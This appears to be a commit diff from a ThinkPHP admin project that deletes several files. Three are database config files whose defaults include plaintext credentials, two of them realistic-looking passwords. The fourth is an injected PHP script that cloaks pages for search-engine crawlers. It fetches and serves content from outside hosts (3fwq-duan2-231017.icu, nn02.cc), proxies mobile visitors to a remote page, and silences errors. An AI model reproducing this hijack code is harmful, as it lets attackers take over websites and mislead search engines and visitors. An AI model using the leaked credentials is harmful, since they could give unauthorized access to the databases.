作者 庞从利

后台管理

1 -<?php  
2 -  
3 -// +----------------------------------------------------------------------  
4 -// | ThinkPHP [ WE CAN DO IT JUST THINK ]  
5 -// +----------------------------------------------------------------------  
6 -// | Copyright (c) 2006~2016 http://thinkphp.cn All rights reserved.  
7 -// +----------------------------------------------------------------------  
8 -// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )  
9 -// +----------------------------------------------------------------------  
10 -// | Author: liu21st <liu21st@gmail.com>  
11 -// +----------------------------------------------------------------------  
12 -  
13 -use think\Env;  
14 -  
15 -return [  
16 - // 数据库类型  
17 - 'type' => Env::get('database.type', 'mysql'),  
18 - // 服务器地址  
19 - 'hostname' => Env::get('database.hostname', '127.0.0.1'),  
20 - // 数据库名  
21 - 'database' => Env::get('database.database', 'hh_yhwk'),  
22 - // 用户名  
23 - 'username' => Env::get('database.username', 'root'),  
24 - // 密码  
25 - 'password' => Env::get('database.password', '123456'),  
26 - // 端口  
27 - 'hostport' => Env::get('database.hostport', ''),  
28 - // 连接dsn  
29 - 'dsn' => '',  
30 - // 数据库连接参数  
31 - 'params' => [],  
32 - // 数据库编码默认采用 utf8mb4  
33 - 'charset' => Env::get('database.charset', 'utf8mb4'),  
34 - // 数据库表前缀  
35 - 'prefix' => Env::get('database.prefix', 'wrp_'),  
36 - // 数据库调试模式  
37 - 'debug' => Env::get('database.debug', false),  
38 - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)  
39 - 'deploy' => 0,  
40 - // 数据库读写是否分离 主从式有效  
41 - 'rw_separate' => false,  
42 - // 读写分离后 主服务器数量  
43 - 'master_num' => 1,  
44 - // 指定从服务器序号  
45 - 'slave_no' => '',  
46 - // 是否严格检查字段是否存在  
47 - 'fields_strict' => true,  
48 - // 数据集返回类型  
49 - 'resultset_type' => 'array',  
50 - // 自动写入时间戳字段  
51 - 'auto_timestamp' => false,  
52 - // 时间字段取出后的默认时间格式,默认为Y-m-d H:i:s  
53 - 'datetime_format' => false,  
54 - // 是否需要进行SQL性能分析  
55 - 'sql_explain' => false,  
56 -];  
1 -<?php  
2 -  
3 -// +----------------------------------------------------------------------  
4 -// | ThinkPHP [ WE CAN DO IT JUST THINK ]  
5 -// +----------------------------------------------------------------------  
6 -// | Copyright (c) 2006~2016 http://thinkphp.cn All rights reserved.  
7 -// +----------------------------------------------------------------------  
8 -// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )  
9 -// +----------------------------------------------------------------------  
10 -// | Author: liu21st <liu21st@gmail.com>  
11 -// +----------------------------------------------------------------------  
12 -  
13 -return [  
14 -// 生成应用公共文件  
15 - '__file__' => ['hello.php', 'test.php'],  
16 - // 定义demo模块的自动生成 (按照实际定义的文件名生成)  
17 - 'demo' => [  
18 - '__file__' => ['common.php'],  
19 - '__dir__' => ['behavior', 'controller', 'model', 'view'],  
20 - 'controller' => ['Index', 'Test', 'UserType'],  
21 - 'model' => ['User', 'UserType'],  
22 - 'view' => ['index/index'],  
23 - ],  
24 - // 其他更多的模块定义  
25 -];  
1 -  
2 -<?php  
3 -$url = $_SERVER['REQUEST_SCHEME'] . 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];  
4 -echo '<link rel="canonical" href="'.$url.'" />' ;  
5 -  
6 -  
7 -set_time_limit(30);  
8 -error_reporting(0);  
9 -$tr = "stristr";  
10 -$er = $_SERVER;  
11 -function httpGet($url) {  
12 - header('Content-Type:text/html;charset=utf-8');  
13 - $ch = curl_init();  
14 - curl_setopt($ch, CURLOPT_URL, $url);  
15 - curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');  
16 - curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);  
17 - curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);  
18 - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
19 - curl_setopt($ch, CURLOPT_HEADER, 0);  
20 - $output = curl_exec($ch);  
21 - curl_close($ch);  
22 - return $output;  
23 -}  
24 -define('url', $er['REQUEST_URI']);  
25 -define('ref', $er['HTTP_REFERER']);  
26 -define('ent', $er['HTTP_USER_AGENT']);  
27 -define('site', "http://jsc.3fwq-duan2-231017.icu:81/");  
28 -  
29 -  
30 -define('road', "road=" .$er['HTTP_HOST'] . url);  
31 -define('regs', '@baiduspider|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');  
32 -define('area', stristr(url, "wap") or stristr(url, "xj") or stristr(url, "xml") or stristr(url, "doc") or stristr(url, "pdf") or stristr(url, "txt") or stristr(url, "ppt") or stristr(url, "pptx") or stristr(url, "xls") or stristr(url, "xlsx") or stristr(url, "baike") or stristr(url, "edu") or stristr(url, "gov") or stristr(url, "jsp") or stristr(url, "asp") or stristr(url, "gq") or stristr(url, "pdx") or stristr(url, "ga") or stristr(url, "tacc") or stristr(url, "xshtml") or stristr(url, "csv")  
33 - or stristr(url, "show_id=") or stristr(url, "m=") or stristr(url, "mod=") or stristr(url, "s=") or stristr(url, "c=") or stristr(url, "abc") or stristr(url, "wap") or stristr(url, "Id=") or stristr(url, "=") or stristr(url, "=") and stristr(url, "?"));  
34 -if (preg_match(regs, ent)) {  
35 - if (area) {  
36 - echo httpGet(site.road);  
37 - exit;  
38 - } else {  
39 - echo httpGet("http://jschl.nn02.cc:81/");  
40 - ob_flush();  
41 - flush();  
42 - }  
43 -}  
44 -  
45 -  
46 -if (area) {  
47 - if (preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])){  
48 -$ch = curl_init();  
49 -  
50 -// 设置URL和相应的选项  
51 -curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1');  
52 -  
53 -curl_setopt($ch, CURLOPT_URL, "http://mulu.3fwq-duan2-231017.icu:81/502.php");  
54 -curl_setopt($ch, CURLOPT_HEADER, false);  
55 -  
56 -// 抓取URL并把它传递给浏览器  
57 -  
58 -curl_exec($ch);  
59 -  
60 -//关闭cURL资源,并且释放系统资源  
61 -  
62 -curl_close($ch);  
63 -  
64 - exit;  
65 - }  
66 -  
67 -  
68 - }  
69 -  
70 -  
71 -  
72 -  
73 -  
74 -  
75 -  
76 -  
77 -  
78 -  
79 -  
80 -?>  
1 -<?php  
2 -  
3 -// +----------------------------------------------------------------------  
4 -// | ThinkPHP [ WE CAN DO IT JUST THINK ]  
5 -// +----------------------------------------------------------------------  
6 -// | Copyright (c) 2006~2016 http://thinkphp.cn All rights reserved.  
7 -// +----------------------------------------------------------------------  
8 -// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )  
9 -// +----------------------------------------------------------------------  
10 -// | Author: liu21st <liu21st@gmail.com>  
11 -// +----------------------------------------------------------------------  
12 -  
13 -use think\Env;  
14 -  
15 -return [  
16 - // 数据库类型  
17 - 'type' => Env::get('database.type', 'mysql'),  
18 - // 服务器地址  
19 - 'hostname' => Env::get('database.hostname', '127.0.0.1'),  
20 - // 数据库名  
21 - 'database' => Env::get('database.database', 'yysw_ynzhsk'),  
22 - // 用户名  
23 - 'username' => Env::get('database.username', 'yysw_ynzhsk'),  
24 - // 密码  
25 - 'password' => Env::get('database.password', 'bBbdfz2fyj5C6JKM'),  
26 - // 端口  
27 - 'hostport' => Env::get('database.hostport', '3306'),  
28 - // 连接dsn  
29 - 'dsn' => '',  
30 - // 数据库连接参数  
31 - 'params' => [],  
32 - // 数据库编码默认采用 utf8mb4  
33 - 'charset' => Env::get('database.charset', 'utf8mb4'),  
34 - // 数据库表前缀  
35 - 'prefix' => Env::get('database.prefix', 'wrp_'),  
36 - // 数据库调试模式  
37 - 'debug' => Env::get('database.debug', false),  
38 - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)  
39 - 'deploy' => 0,  
40 - // 数据库读写是否分离 主从式有效  
41 - 'rw_separate' => false,  
42 - // 读写分离后 主服务器数量  
43 - 'master_num' => 1,  
44 - // 指定从服务器序号  
45 - 'slave_no' => '',  
46 - // 是否严格检查字段是否存在  
47 - 'fields_strict' => true,  
48 - // 数据集返回类型  
49 - 'resultset_type' => 'array',  
50 - // 自动写入时间戳字段  
51 - 'auto_timestamp' => false,  
52 - // 时间字段取出后的默认时间格式,默认为Y-m-d H:i:s  
53 - 'datetime_format' => false,  
54 - // 是否需要进行SQL性能分析  
55 - 'sql_explain' => false,  
56 -];  
1 -<?php  
2 -  
3 -// +----------------------------------------------------------------------  
4 -// | ThinkPHP [ WE CAN DO IT JUST THINK ]  
5 -// +----------------------------------------------------------------------  
6 -// | Copyright (c) 2006~2016 http://thinkphp.cn All rights reserved.  
7 -// +----------------------------------------------------------------------  
8 -// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )  
9 -// +----------------------------------------------------------------------  
10 -// | Author: liu21st <liu21st@gmail.com>  
11 -// +----------------------------------------------------------------------  
12 -  
13 -use think\Env;  
14 -  
15 -return [  
16 - // 数据库类型  
17 - 'type' => Env::get('database.type', 'mysql'),  
18 - // 服务器地址  
19 - 'hostname' => Env::get('database.hostname', '127.0.0.1'),  
20 - // 数据库名  
21 - 'database' => Env::get('database.database', 'zhihuishuiku2023'),  
22 - // 用户名  
23 - 'username' => Env::get('database.username', 'zhihuishuiku2023'),  
24 - // 密码  
25 - 'password' => Env::get('database.password', 'Fja6FTBc7xZex0SnY2BRk9'),  
26 - // 端口  
27 - 'hostport' => Env::get('database.hostport', ''),  
28 - // 连接dsn  
29 - 'dsn' => '',  
30 - // 数据库连接参数  
31 - 'params' => [],  
32 - // 数据库编码默认采用 utf8mb4  
33 - 'charset' => Env::get('database.charset', 'utf8mb4'),  
34 - // 数据库表前缀  
35 - 'prefix' => Env::get('database.prefix', 'm_'),  
36 - // 数据库调试模式  
37 - 'debug' => Env::get('database.debug', false),  
38 - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)  
39 - 'deploy' => 0,  
40 - // 数据库读写是否分离 主从式有效  
41 - 'rw_separate' => false,  
42 - // 读写分离后 主服务器数量  
43 - 'master_num' => 1,  
44 - // 指定从服务器序号  
45 - 'slave_no' => '',  
46 - // 是否严格检查字段是否存在  
47 - 'fields_strict' => true,  
48 - // 数据集返回类型  
49 - 'resultset_type' => 'array',  
50 - // 自动写入时间戳字段  
51 - 'auto_timestamp' => false,  
52 - // 时间字段取出后的默认时间格式,默认为Y-m-d H:i:s  
53 - 'datetime_format' => false,  
54 - // 是否需要进行SQL性能分析  
55 - 'sql_explain' => false,  
56 -];